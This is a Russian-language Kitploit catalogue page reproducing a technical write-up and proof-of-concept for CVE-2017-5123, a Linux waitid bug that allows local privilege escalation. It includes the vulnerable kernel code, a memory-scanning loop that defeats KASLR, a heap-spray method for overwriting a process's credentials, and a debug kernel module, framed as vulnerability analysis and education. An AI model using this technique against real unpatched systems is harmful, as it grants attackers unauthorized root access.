Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-5123 — Подробный технический анализ и доказательство концепции эксплойта для CVE-2017-5123, уязвимости системного вызова waitid в ядре Linux, позволяющей локальное повышение привилегий из-за отсутствующей проверки access_ok(). | Kitploit
Инструменты/GitHubGitHub/h1bana/cve-2017-5123
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubh1bana/cve-2017-5123

CVE-2017-5123

Подробный технический анализ и доказательство концепции эксплойта для CVE-2017-5123, уязвимости системного вызова waitid в ядре Linux, позволяющей локальное повышение привилегий из-за отсутствующей проверки access_ok().

Репозиторий
23 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-5123

Обзор ошибки

Системный вызов Waitid в ядре Linux не проверял целевой адрес, используемый для записи. Это позволяло локальному пользователю с правами на запись в память ядра, что могло привести к повышению привилегий на устройстве или побегу из песочницы.

Описание уязвимости

Классификация уязвимости

  • Повышение привилегий
  • Побег из песочницы (chrome)

Уязвимый код

kernel/exit.c

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // по сути вызывает stac(), временно отключает SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- отсутствует проверка access_ok() перед вызовом этой функции
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // по сути вызывает clac(), снова включает SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

Ошибка заключается в отсутствии проверки access_ok() перед вызовом unsafe_put_user(). В более ранних версиях ядра использовалась функция put_user(), которая включала вызов access_ok().

put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

Используя unsafe_put_user(), программа избегает многократного включения/выключения SMAP в течение короткого времени из-за вызовов user_access_begin() / user_access_end(). Функция access_ok() проверяет валидность адреса ptr, гарантируя, что он принадлежит пользовательской памяти, предотвращая запись пользователя в память ядра. Таким образом, если передать syscall waitid параметр infop, являющийся адресом ядра, будет вызвана эта ошибка.

Эксплуатация

Отсутствие проверки access_ok() позволяет передать адрес ядра в качестве параметра infop для waitid, после чего syscall перезапишет этот адрес, вызвав unsafe_put_user(). Ограничение заключается в том, что мы не можем контролировать, что будет записано по предоставленному адресу ядра. Используется 6 полей для записи: signo, нулевой байт, info.cause, info.pid (максимальное значение = 0x8000), info.uid, info.status (хотя тип int32, но значения >0, <256). Здесь наиболее полезным полем, вероятно, является нулевой байт. Его можно использовать для перезаписи cred->euid и cred->uid. Для этого необходимо знать адреса этих двух значений.

Обход KASLR путем сканирования памяти

Согласно kernel.org, адрес «Kernel-space virtual memory» общий для всех процессов, начиная с 0xffff800000000000, однако от 0xffff800000000000 до 0xffff87ffffffffff находится «... guard hole, also reserved for hypervisor», поэтому мы начнем сканирование памяти с адреса 0xffff880000000000. Стоит отметить, что сканирование возможно, потому что unsafe_put_user() не вызывает краш при обращении к недопустимым адресам. Это предотвращает DoS системы непривилегированными пользователями путём передачи неверных адресов.

for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Теперь, зная адрес кучи ядра, необходимо определить адрес структуры cred.

Поиск адреса Cred с помощью heap spray

Хотя адрес кучи ядра известен, он может не быть началом кучи, поэтому точный адрес структуры Cred вычислить невозможно. В этом случае применяется техника heap spray.

  • Если создать много процессов, в памяти появится много структур cred, что упрощает предположение их адреса.
  • Эти процессы затем вызывают geteuid(); если возвращается 0, значит, процесс работает с правами root -> бинго.
  • Родительский процесс продолжает вызывать syscall waitid(), используя уязвимость, предполагая адрес структуры cred и перезаписывая cred->uid нулём.

Отладка для поиска адреса структуры cred дочерних процессов занимает много времени, поэтому я использовал готовый модуль для вывода адреса cred->euid через printk().

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

Я заметил, что есть адреса схожего вида; даже после перезагрузки смещение этих адресов остаётся похожим. Поэтому я решил выбрать один адрес и затем добавлять к нему pagesize в цикле, чтобы угадать адрес структуры cred.

image

Видео демонстрации эксплуатации IMAGE ALT TEXT HERE

Некоторые проблемы данного подхода к эксплуатации

  • Успех не гарантирован.
  • Для разных версий ядра, затронутых этой уязвимостью, эксплойт может не работать во всех версиях, поскольку в каждой версии ядра смещение EUID при spray разное. Чтобы PoC работал для всех версий, при поиске euid для обнуления я использую адрес вида найденный адрес кучи + смещение. Необходимо уменьшить смещение, чтобы оно подходило для большего числа версий. Однако это означает более длительное время атаки и повышает вероятность паники/краша ядра из-за возможной записи в другие важные структуры в куче.

Затронутый диапазон

  • Затронутые версии: linux kernel версии 4.13 - 4.13.6
  • Коммит, в котором появилась ошибка (2017-05-21, v4.13-rc1)

Исправление

  • Патч добавил проверку access_ok()
  • Коммит с исправлением

Заключение

Скачать инструмент